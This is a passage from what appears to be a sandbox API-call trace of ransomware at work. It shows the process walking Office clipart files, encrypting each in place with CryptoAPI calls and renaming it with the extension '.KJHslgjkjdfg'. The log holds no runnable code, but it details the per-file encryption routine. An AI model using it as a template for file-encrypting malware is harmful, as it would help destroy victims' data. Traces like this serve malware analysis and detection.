(hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.876] GetProcessHeap () returned 0x2a0000 [0172.876] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.876] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.877] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.877] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.877] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.877] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.877] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.877] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.877] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.877] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.877] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.877] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.877] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2c18, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2c18, lpOverlapped=0x0) returned 1 [0172.878] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c20, dwBufLen=0x2c20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c20) returned 1 [0172.878] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.878] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2c20, lpOverlapped=0x0) returned 1 [0172.878] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.878] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.878] SetEndOfFile (hFile=0x114) returned 1 [0172.881] GetProcessHeap () returned 0x2a0000 [0172.881] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.881] GetProcessHeap () returned 0x2a0000 [0172.881] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.881] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.kjhslgjkjdfg")) returned 1 [0172.882] CloseHandle (hObject=0x114) returned 1 [0172.882] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1984, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107328.WMF", cAlternateFileName="")) returned 1 [0172.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.883] GetProcessHeap () returned 0x2a0000 [0172.883] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.883] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.883] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.886] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.886] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.886] GetProcessHeap () returned 0x2a0000 [0172.886] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.886] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.886] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.886] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.886] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.886] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.886] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.886] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.886] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.886] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.886] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1984, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1984, lpOverlapped=0x0) returned 1 [0172.887] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1990, dwBufLen=0x1990 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1990) returned 1 [0172.887] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.887] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1990, lpOverlapped=0x0) returned 1 [0172.887] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.887] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.887] SetEndOfFile (hFile=0x114) returned 1 [0172.890] GetProcessHeap () returned 0x2a0000 [0172.890] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.890] GetProcessHeap () returned 0x2a0000 [0172.890] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.kjhslgjkjdfg")) returned 1 [0172.891] CloseHandle (hObject=0x114) returned 1 [0172.891] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107342.WMF", cAlternateFileName="")) returned 1 [0172.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.891] GetProcessHeap () returned 0x2a0000 [0172.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.892] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.892] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.892] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.893] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.893] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.894] GetProcessHeap () returned 0x2a0000 [0172.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.894] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.894] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.894] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.894] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.894] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.894] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.894] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.894] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.894] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.894] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1094, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1094, lpOverlapped=0x0) returned 1 [0172.895] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10a0, dwBufLen=0x10a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10a0) returned 1 [0172.895] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.895] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x10a0, lpOverlapped=0x0) returned 1 [0172.895] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.895] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.895] SetEndOfFile (hFile=0x114) returned 1 [0172.897] GetProcessHeap () returned 0x2a0000 [0172.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.897] GetProcessHeap () returned 0x2a0000 [0172.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.898] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.kjhslgjkjdfg")) returned 1 [0172.898] CloseHandle (hObject=0x114) returned 1 [0172.899] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107344.WMF", cAlternateFileName="")) returned 1 [0172.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.899] GetProcessHeap () returned 0x2a0000 [0172.899] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.899] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.899] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.901] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.901] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.901] GetProcessHeap () returned 0x2a0000 [0172.901] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.901] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.901] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.901] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.901] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.902] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.902] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.902] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.902] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.902] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.902] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.902] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.902] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x13d4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x13d4, lpOverlapped=0x0) returned 1 [0172.903] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13e0, dwBufLen=0x13e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13e0) returned 1 [0172.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.903] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x13e0, lpOverlapped=0x0) returned 1 [0172.903] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.903] SetEndOfFile (hFile=0x114) returned 1 [0172.905] GetProcessHeap () returned 0x2a0000 [0172.905] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.905] GetProcessHeap () returned 0x2a0000 [0172.905] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.kjhslgjkjdfg")) returned 1 [0172.907] CloseHandle (hObject=0x114) returned 1 [0172.907] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107350.WMF", cAlternateFileName="")) returned 1 [0172.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.909] GetProcessHeap () returned 0x2a0000 [0172.909] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.909] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.909] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.909] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.911] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.911] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.911] GetProcessHeap () returned 0x2a0000 [0172.911] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.911] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.911] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.911] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.911] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.911] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.911] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, 